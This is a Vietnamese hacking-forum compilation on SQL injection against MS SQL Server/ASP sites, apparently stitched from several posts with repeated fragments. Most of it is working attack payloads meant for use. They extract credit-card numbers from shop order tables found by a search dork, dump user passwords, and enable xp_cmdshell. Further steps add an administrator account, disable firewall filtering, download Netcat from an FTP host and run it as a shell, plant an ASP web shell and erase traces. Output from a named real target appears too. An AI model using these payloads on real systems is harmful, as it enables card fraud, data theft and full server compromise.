error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'orderid' to a column of data type int./shop/include/viewproduct.asp, line 3 column dau tien la` 'orderid' lay column thu 2 thi can them and column_name not in('orderid') %2bconvert(int,(select top 1 column_name from information_schema.columns where table_name ='orders' and column_name not in('orderid')))--sp_password Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'created' to a column of data type int./shop/include/viewproduct.asp, line 3 va lan luot lay cho het cac column cua table 'orders' khi anh em da lay duoc tat ca cac column cua table 'orders'roi thi chi con viec sau cung hap dan nhat ma thoi,do la lay cc,anh em hay viet thanh 1 cau truy van de lay cc dua vao tat ca cac column cua anh em nhan duoc,moi shop no co cac field database khac nhau,nhung hau het cac shop duoc search duoi dang allinurl: "/shop?viewproduct.asp" thi chi co 1 kieu truy van duy nhat,vi em da thu qua tat ca roi hhihihi cai nao cung ok ca may anh em khoi mat cong xap xep lai de viet thang cau truy van chi cho met,toi dua luon cho anh em xai choi lay cc dau tien %2bconvert(int,(select%20top%201%20cardtype%2b'%20 Name:'%2bcardname%2b'%20addr:%20'%2baddress%2b'%20 suburb:%20'%2bsuburb%2b'%20state:%20'%2bstate%2b'% 20zip:%20'%2bpostcode%2b'%20country:%20'%2bcountry
Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------%2b'%20phone:%20'%2bphone%2b'%20email:%20'%2bemail %2b'%20cardnumber:%20'%2bcardnumber%2b'%20expireym onth:%20'%2bexpirymonth%2b'%20year:%20'%2bexpiryye ar%20from%20orders))--sp_password lay' cc thu 2 thi ta them vao o sao ....from orders where cardnumber not in('so card dau tien') va lan luot lay het cac credit card co tren do' nhu cai shop o tren thi de dung cho may bac thuc tap va de co them kinh nghiem ma thoi,vi day chi de hoc hoi,ko nham muc dich pha hoai bat cu ai . A. Khai thac thong tin ve SQL server -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 1. Khai thac thong tin ve MS SQL server -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ' Thông tin về version của MS SQL and 1=@@version--sp_password 'Thông tin về servername and 1=@@servername--sp_password 'Thông tin về SERVICENAME and 1=@@SERVICENAME--sp_password 'Thông tin về UID and 1=system_user--sp_password 'Thông tin về PWD ? -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 2. Khai thac thong tin ve Database -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 'Thông tin về tên database and 1=db_name()--sp_password -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 3. Khai thac thong tin ve Table -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 'Khai thác thông tin về Table having 1=1--sp_password 'Khai thác thông tin về các Table group by QUESTIONS.QUEST_ID having 1=1--sp_password 'Khai thác thông tin về Table UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--sp_password 'Khai thác thông tin về các Table UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('PRODUCTS')-sp_password 'Khai thác thông tin về Table and 38=convert(int,(select top 1 table_name from information_schema.tables))--sp_password 'Khai thác thông tin về các Table and 38=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('PRODUCTS')))-sp_password -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 4. Khai thac thong tin ve Column -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 'Khai thác thông tin về Column and 38=convert(int,(select top 1 column_name from information_schema.columns where table_name=('QUESTIONS')))-sp_password 'Khai thác thông tin về các Column and 38=convert(int,(select top 1 column_name from information_schema.columns where table_name=('QUESTIONS') and column_name not in ('QUEST_ID')))--sp_password -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 5. Khai thac thong tin ve Content -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 'Khai thác thông tin với kiểu ngày giờ and 1=convert(char(20),(select top 1 NgayXuat from PhieuXuat))--sp_password 'Khai thác thông tin dòng tiếp theo với kiểu ngày giờ and 1=convert(char(20),(select top 1 NgayXuat from PhieuXuat where NgayXuat<>'Mar 12 2003 12:00AM '))--sp_password 'Khai thác thông tin về dòng đầu tiên and 1=convert(int,(select top 1 userName+'/'+userPass from Users))--sp_password 'Khai thác thông tin dòng tiếp theo and 1=convert(int,(select top 1 userName+'/'+userPass from Users where userName not in('admin')))--sp_password
Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection ---------------------------------------------------------------------------------------------------------------------------------=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 6. Khai thac thong tin ve Table, Column, Content cua cac database tiep -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Chú ý: để nhận biết kiểu của cột dữ liệu ta dùng "image" để kiểm tra: -Nếu là trường kiểu ngày/giờ Dùng: char,nchar,nvarchar,varchar B. Upload backdoor lên host -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 1. Xác định mức quyền và cho phép thực thi lệnh của MS SQL server -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 'Xác định mức quyền ;select * from openrowset('sqloledb','';;,'')-'Thay đổi mức quyền ;exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer \Providers\SQLOLEDB','AllowInProcess',REG_DWORD,1-;exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer \Providers\SQLOLEDB','DisallowAdhocAccess',REG_DWO RD,0-'Xoá bỏ và khôi phục Log và firewall trong MS SQL ;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Ser vices\Tcpip\Parameters','EnableSecurityFilters'-;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Ser vices\Tcpip\Parameters','EnableSecurityFilters',RE G_DWORD,0-'Cho phép sử dụng MASTER..XP_CMDSHELL & ALLOW UPDATES ;select * from openrowset('sqloledb', 'server=Digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 2. Do thám đưa thêm các thông tin -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 'Do tham IP của server và đưa vào bảng testip ;drop table testip create table testip(stt int identity,dcip varchar(1000)) insert into testip exec master..xp_cmdshell 'ipconfig'-'Cộng thêm một quyền quản trị mới ;select * from openrowset('sqloledb', 'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec xp_cmdshell "net user a /add %26 net localgroup administrators a /add"')-- (%26 == "&") -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 3. Đưa backdoor lên server -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 'Upload backdoor lên server vào thư mục C:\WINDOWS\system32 ;select * from openrowset('sqloledb', 'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "chube >>runfile.txt"')-;select * from openrowset('sqloledb', 'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "chube >>runfile.txt & hamhoc >>runfile.txt"')-'Kiểm tra xem backdoor đã upload thành công chưa ;drop table testip create table testip(stt int identity,dcip varchar(1000)) insert into testip exec master..xp_cmdshell 'dir runfile.txt'-C. Chạy backdoor trên server -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 1. Xác nhận backdoor đã được kích hoạt -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 2. Chiếm toàn bộ quyền điều khiển server -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= B. Upload backdoor lên host -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 1. Xác định mức quyền và cho phép thực thi lệnh của MS SQL server -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 'Xác định mức quyền ;select * from openrowset('sqloledb','';;,'')-Microsoft OLE DB Provider for ODBC Drivers error '80004005' [Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'SYSTEM'. /publications/titledetail.asp, line 159

Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------'Do guest là db_owner của database master nên guest có thể thi hành xp_regwrite hoặc xp_cmdshell ;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx' exec sp_executesql N'drop view dbo.test'-'Xác nhận guest đã nằm trong database master chưa and 68=convert(int,(select top 1 name from master..sysusers where roles=0x01 and name not in('dbo')))-'Cài cửa sau ;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set xstatus=18 where name=''BUILTIN\ADMINISTRATORS''','xx' exec sp_executesql N'drop view dbo.test'-'Thay đổi mức quyền ;exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer \Providers\SQLOLEDB','AllowInProcess',REG_DWORD,1-'Xoá bỏ và khôi phục Log và firewall trong MS SQL ;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Ser vices\Tcpip\Parameters','EnableSecurityFilters'-'Cho phép sử dụng MASTER..XP_CMDSHELL & ALLOW UPDATES ;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 2. Do thám đưa thêm các thông tin -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 'Do tham IP của server và đưa vào bảng testip ;drop table testip create table testip(stt int identity,dcip varchar(1000)) insert into testip exec master..xp_cmdshell 'ping SCMW001'-and 68=convert(char,(select top 1 dcip from testip where STT=1))--sp_password and 68=convert(char,(select top 1 dcip from testip where STT=2))--sp_password and 68=convert(char,(select top 1 dcip from testip where STT=3))--sp_password and 68=convert(char,(select top 1 dcip from testip where STT=4))--sp_password and 68=convert(char,(select top 1 dcip from testip where STT=5))--sp_password ;drop table testip ['Pinging scmw001.nmsi.ac.uk'] ['Reply from 193.62.107.4: bytes'] 'Tạo kịch bản để thực thi ;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', master..xp_cmdshell "echo open ftp05.websamba.com 21>>uds"')-;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', master..xp_cmdshell "echo user xxxxxx>>uds"')-;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', master..xp_cmdshell "echo xxxxxx>>uds"')-;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', master..xp_cmdshell "echo get uda.exe>>uds"')-;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', master..xp_cmdshell "echo get uds.exe>>uds"')-;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', master..xp_cmdshell "echo get uds.zip>>uds"')-;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', master..xp_cmdshell "echo quit>>uds"')--

'set fmtonly off select 1 exec 'set fmtonly off select 1 exec 'set fmtonly off select 1 exec 'set fmtonly off select 1 exec 'set fmtonly off select 1 exec 'set fmtonly off select 1 exec 'set fmtonly off select 1 exec

'Down backdoor Netcat về ;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "ftp -v -i -n -s:uds"')-'Xoá kịch bản đi vì trong đó có thông tin về host của mình ;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "del uds"')-'Khởi động Netcat ở chế độ lắng nghe ;select * from openrowset('sqloledb', 'server=SCMW001;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "uda.exe -l -p 8080 -e cmd.exe"')-'Chạy Netcat ở chế độ luôn lắng nghe bằng uda.exe (đổi tên Netcat)
Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------m:\>uds.exe -L -p 8080 -e cmd.exe 'Xoá bỏ và khôi phục Log và firewall trong MS SQL ;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Ser vices\Tcpip\Parameters','EnableSecurityFilters'--

Cái quan trọng là các lệnh này: ;exec master..xp_regdeletevalue ;exec master..xp_regwrite ... Còn disable 1 loại firewall hay là thay đổi các thông số khác trên server của họ thì mình phải tự tìm hiểu thêm để có cài mình cần. Bạn nên tham khảo thêm về registry ở trong diễn đàn của mình hay ở bên HVA cũng có thì phải -------------------------------------------------------------------------------------------------------------------------------------------

Hack Sql Inject nâng cao
Các bạn thử xem một câu truy vấn SQL: select id, forename, surname from authors thì 'id','forename' và 'surname' là column của table author,khi câu truy vấn trên làm việc thì nó sẽ cho kết quả tất cã các dòng trong table author.Xem câu truy vấn sau: select id, forename, surname from authors where forename = 'john' and surname = 'smith' Đây là câu truy vấn có điều kiện chắc không nói các bạn cũng biết,nó cho ra kết quả tất cã những ai trong csdl với forename = 'john' and surname = 'smith' Vì vậy khi vào giá trị đầu vào không đúng như trong csdl liệu: Forename: jo'hn Surname: smith Câu truy vấn trở thành: select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith' Câu truy vấn trên khi được xử lý thì nó sẽ phát sinh lổi: Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'hn'. Lý do là ta lồng vào dấu nháy đơn "'" và giá trị vào trở thành 'hn' sai so với csdl vậy sẽ phát sinh lổi lợi dụng cái này attacker có thể xoá dữ liệu của bạn như sau: Forename: jo'; drop table authors-Table author sẽ bị xóa>nguy hiểm phải không Nhìn vào đoạn code asp sau:đây là một form login <HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD> <BODY bgcolor='000000' text='cccccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1> <FORM action='process_login.asp' method=post>
Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------<TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100% Page 4 width=100></INPUT></TD></TR> <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR> </TABLE> <INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'> </FORM> </FONT> </BODY> </HTML> Đây là code 'process_login.asp' <HTML> <BODY bgcolor='000000' text='ffffff'> <FONT Face='tahoma' color='ffffff'> <STYLE> p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} </STYLE> <%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str ); } function Login( cn ) { var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "'
Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------and password = '" + password + "'"; trace( "query: " + sql ); rso.open( sql, cn ); if (rso.EOF) { rso.close(); %> <FONT Face='tahoma' color='cc0000'> <H1> <BR><BR> <CENTER>ACCESS DENIED</CENTER> </H1> </BODY> </HTML> <% Response.end return; } else { Session("username") = "" + rso("username"); %> <FONT Face='tahoma' color='00cc00'> <H1> <CENTER>ACCESS GRANTED<BR> <BR> Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end } } function Main() { //Set up connection

Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------var username var cn = Server.createobject( "ADODB.Connection" ); cn.connectiontimeout = 20; cn.open( "localserver", "sa", "password" ); username = new String( Request.form("username") ); if( username.length > 0) { Login( cn ); } cn.close(); } Main(); %> Đây là câu truy vấn SQL: var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; nếu hacker vào như sau: Username: '; drop table users-Password: thì table 'user; sẽ bị xoá,và ta có thể vượt qua bằng cách sau:bypass các bạn biết hết rồi tôi không nói lại nữa Ơ trường username hacker có thể vào như sau: Username: ' union select 1, 'fictional_user', 'some_password', 1-ví dụ table user được tạo như sau: create table users( id int, username varchar(255), password varchar(255), privs int ) và insert vào: insert into users values( 0, 'admin', 'r00tr0x!', 0xffff ) insert into users values( 0, 'guest', 'guest', 0x0000 ) insert into users values( 0, 'chris', 'password', 0x00ff ) insert into users values( 0, 'fred', 'sesame', 0x00ff ) Các hacker sẽ biết được kết quả các column và table qua câu truy vấn having 1=1 Username: ' having 1=1-Lổi phát sinh:
Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 Tiếp tục lấy các cái còn lại: Username: ' group by users.id having 1=1-Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35 >> biết được column 'username' ' group by users.id, users.username, users.password, users.privs having 1=1-Cho đến khi không còn báo lổi thì dừng lại vậy là bạn đã biết table và column cần khai thác rồi,bây giờ đến đi lấy giá trị của nó: Để xác định nội dung của column ta dùng hàm sum() Username: ' union select sum(username) from users-[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35 Giá trị của username là varchar,không nói các bạn cũng biết lý do,còn dùng với id thì sao nhỉ: Username: ' union select sum(id) from users-Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35 Vậy là ta có thể insert vào csdl: Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff)-Lấy Version của server: Username: ' union select @@version,1,1,1-Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug

Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------6 2000 00:57:48 Copyright © 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int. /process_login.asp, line 35 có thể dùng convert() nhưng tôi chỉ các bạn dùng union ,các bạn thử đọc nội dung của các user trogn table như sau: Username: ' union select min(username),1,1,1 from users where username > 'a'-Chọn giá trị nhỏ nhất của username và cho nó lớn hơn 'a' > phát sinh lổi: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. /process_login.asp, line 35 Vậy là ta biết 'admin' acc tồn tại,tiếp tục xem sao: Username: ' union select min(username),1,1,1 from users where username > 'admin'-Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int. /process_login.asp, line 35 Vậy là khi có username > lấy pass: Username: ' union select password,1,1,1 from users where username ='admin'-Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int. /process_login.asp, line 35 Đây là kỹ thuật mà bạn có thể lấy được user một cách cao cấp: Tạo một script như sau: begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end >cau truy vấn: Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end-Tạo một table 'foo' với một column là 'ret'
Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------Tiếp tục: Username: ' union select ret,1,1,1 from foo-Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int. /process_login.asp, line 35 (Hình như mrro dùng kiểu này vào VDC)

Xoá dấu vết:
Username: '; drop table foo-Một hacker khi điều kiển được csdl thì họ muốn xa hơn đó là điều khiển hệ thống mạng của server đó luôn,một trong số cách đó: 1-Sữ dụng xp_cmdshell khi đã có quyền 'sa' 2-Sữ dụng xp_regread để đọc register,bao gồm SAM 3-Chạy link query trên server 4-Tạo script trên server để khai thác 5-Sữ dung 'bulk insert' để đọc bất cứ file nào trên hệ thống 6-Sữ dụng bcp để tạo quền cho text file trên server 7-Sữ dụng sp_OACreate, sp_OAMethod and sp_OAGetProperty để tạo script (ActiveX) chạy trên server [xp_cmdshell] Chắc các bạn cũng nghe nhiều rồi ví dụ: exec master..xp_cmdshell 'dir' exec master..xp_cmdshell 'net1 user' Sữ dụng để thi hành các lệnh của dos vvv.. rất hưu hiệu [xp_regread] Các hàm liên quan... xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwrite Ví dụ: exec xp_regread HKEY_LOCAL_MACHINE,
Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------'SYSTEM\CurrentControlSet\Services\lanmanserver\pa rameters','nullsessionshares' Xác đinh null-session share có tồn tại trên server exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Servi ces\snmp\parameters\validcommunities' v... còn nhiều thứ nữa [Other Extended Stored Procedures] services: exec master..xp_servicecontrol 'start', 'schedule' exec master..xp_servicecontrol 'start', 'server' >ngó qua cũng biết nó làm gì... [Importing text files into tables] Sữ dụng 'bulk insert' để chèn text file vào thư mục hiện thời,tạo table đơn: create table foo( line varchar(8000) ) tiếp tục: bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp' [Creating Text Files using BCP] VD: bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar [ActiveX automation scripts in SQL Server] Dùng 'wscript.shell' vd: declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' Tren câu truy vấn: Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'-Dùng 'scripting.filesystemobject' để đọc file: declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1 exec @ret = sp_oamethod @f, 'readline', @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out

Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------end Tạo script ASP để thi hành command: declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, '<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>' Đây là những cách bạn có thể dùng rất hiệu quả,bạn hãy sáng tạo thêm cho mình từ những chỉ dẫn cơ bản này. Đa số các trang web hiện nay,tuỳ thuộc vào nội dung mà thiết kế cho riêng mình 1 giao diện bắt mắt.Để làm việc này họ chỉ cần download database từ trên Internet về và sữa đổi dữ liệu đã được cập nhật từ 1 database.Một trong những nền phổ biến cho web datastores là SQL.Một hay nhiều ứng dụng web thì được đơn giản toàn bộ những script đầu vào bằng cách truy vấn 1 SQL database,bản thân web server hoặc 1 hệ thống đầu cuối riêng biệt.Một trong những cuộc tấn công xảo quyệt nhất ứng dụng web bao gồm việc đánh cắp queries sử dụng bởi bản thân những scripts đầu vào để tước quyền điều khiển những ứng dụng hoặc dữ liệu của nó.Một trong những cơ cấu có hiệu quả nhất để thực hiên điều này là kĩ thuật được mang tên "SQL Injection". SQL Injection chỉ việc đưa vào những đoạn truy vấn nguy hiểm TransacSQL vào 1 vị trí để thực hiện những hoạt động không ngờ.Thường thì những đoạn truy vấn hiện có đơn giản là Edit để hoàn thành những kết quả tương tự. TransactSQL thì dễ dàng vận dụng bằng sự thay thế 1 kí tự đơn,tuỳ thuộc vào sự sáng suốt có kẻ tấn công để đưa ra những đoạn truy vấn nguy hiểm. Một số các kí tự thường được sử dụng để chèn dữ lịêu vào hợp lệ trong bao gồm (');(--);và ;.Chúng có những ý nghĩa đặc biệt trong Transact SQL. Chúng ta sẽ tự hỏi là khi hacker đánh cắp được SQL query chúng sẽ làm gì?.Ban đầu họ có thể xâm nhập trái phép các dữ liệu.Với những kĩ thuật kín đáo,họ có thể truy cập 1 cách hợp pháp,hoặc thậm chí là tìm cách hoàn toàn điều khiển toàn bộ webserver hoặc hệ thống SQL đầu cuối. Ví dụ về SQL Injection:Để tìm vị trí bị lỗi SQL Injection,ta gõ 1 số từ khoá trong Form field như sau: +Đăng nhập hợp pháp: -Xác nhận đúng mà không cần bất kì điều kiện nào: USER:' OR "=' PASS:' OR "=' -Xác nhận đúng chỉ với username: USER:admin'--Xác nhận đúng như là người dùng đầu tiên trong user table: USER:' or 1=1--Xác nhận đúng như là 1 người dùng giả tạo: USER:' union select 1,'user','passwd' 1-+Phá hoại: -Bỏ 1 bảng dữ liệu: USER:';drop table users--Shutdown dữ liệu từ xa: USER:aaaaaaaaaaaaaaa' PASS:';shutdown-+Thực thi chức năng yêu cầu lấy và lưu trữ những thủ tục: -Thi hành xp_cmdshell để lấy 1 danh sách thư mục: http://localhost/script?0';EXEC+master...#39;dir';--Thi hành xp_service control để chiếm đoạt service: http://localhost/script?0';EXECT+maste...;server';-Không phải cú pháp trên đều làm việc hầu hết trên các dữ liệu.Thông tin sau sẽ cho biết những phương pháp chúng ta đã sơ lược phía trên sẽ làm việc hay không trong những nền chứa dữ liệu.Vì không kẻ bảng được nên mình gõ như sau cho dễ so sánh: Datapase specific Information:---My SQL----Oracle-----DB2------Postgre-----MSSQL UNION possible:----------------------Y------------Y---------Y------------Y------------Y--Subselects possible:-----------------N------------Y---------Y------------Y------------Y--Multiple statements:-----------------N(mostly)---N---------N----------Y-------------Y--

Administrator- http://be-yeu.ws/

Tổng hợp SQL Injection --------------------------------------------------------------------------------------------------------------------------------Default stored procedures:---------_--Many(utf-file)------_----------_-------M(cmdshell) Other Comments:----------Supports"intooutfile"-_-------_-----------_-------------_---+Các công cụ tự động tìm lỗi SQL injection: SQL Injection thường được thực hiện bằng kĩ thuật của hacker,nhưng 1 vài công cụ có thể tự động quá trình nhận dạng và khai thac chỗ yếu.Wpoison là công cụ có thể phát hiện lỗi SQLInjection trong các trang web.Những đoạn string tìm lỗi SQL thì được lưu trữ trong 1 file từ điển,và vì thế nó trở lên dễ dàng cho bất kì ai thêm vào danh sách từ điển cho riêng mình.Wpoison chạy trên Linux,có thể download tại: http://wpoison.sourceforge.net Ngoài ra còn có công cụ SPIKE Proxy,nó có các chức năng khá tốt-tự động thực hiện SQL Injection -những d0oạn string sẽ được Inject tuỳ vào thói quen người sử dụng .SPIKE Proxy là 1 Python và OpenSSL-công cụ đánh giá ứng dụng web cơ bản có các chức năng như HTTP và HTTPS Proxy...Nó cho phép người phát triển 